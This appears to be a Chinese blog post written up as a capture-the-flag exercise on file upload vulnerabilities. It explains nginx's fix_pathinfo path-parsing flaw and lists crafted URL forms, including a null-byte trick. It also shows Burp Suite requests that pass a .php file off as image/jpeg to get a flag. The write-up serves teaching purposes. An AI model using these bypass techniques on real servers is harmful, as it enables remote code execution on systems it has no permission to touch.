Web安全 - 文件上传

文件上传漏洞是指用户上传了一个可执行的脚本文件并通过此脚本文件获得了执行服务器端命令的能力,文件上传本身没有问题,有问题的是文件上传后服务器怎么处理、解释文件。应用场景出口

对于文件上传,有以下几种解决思路:

  • 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行;
  • 上传文件FLASH策略文件crossdomain.xml,以此来控制Flash在该域下的行为;
  • 上传文件是病毒、木马文件,攻击者用以诱骗用户或管理员下载执行;
  • 上传文件是钓鱼图片或为包含了脚本的图片,某些浏览器会作为脚本执行,实施钓鱼或欺诈

Network preview:查看到场景服务器为 nginx

Web安全 - 文件上传_第1张图片
nginx.jpg

渗透思路:伪装文件后缀,根据服务器漏洞解析

nginx漏洞原理
 Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式: www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

实现漏洞:,修改文件为1.jpg.php,请求体Content-Type节设置为image/jpeg

在本地部署完burpsuite进行渗透:Request部分

POST / HTTP/1.1
Host: 103.238.227.13:10085
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------31440985419813
Content-Length: 199
Referer: http://103.238.227.13:10085/
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------31440985419813
Content-Disposition: form-data; name="file"; filename="1.jpg.php"
Content-Type: image/jpeg

-----------------------------31440985419813--

获得的Response请求体:

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Aug 2017 13:53:01 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.7
Content-Length: 15

����件

咋一看最后一行像是flag,修改Request Accept-Charset节,reonload

Request

POST / HTTP/1.1
Host: 103.238.227.13:10085
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------31440985419813
Content-Length: 208
Referer: http://103.238.227.13:10085/
Connection: Keep-Alive
Upgrade-Insecure-Requests: 1

-----------------------------31440985419813
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg


-----------------------------31440985419813--

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Aug 2017 14:32:49 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.7
Content-Length: 37

Flag:42e97d465f962c53df9549377b513c7e

你可能感兴趣的:(Web安全 - 文件上传)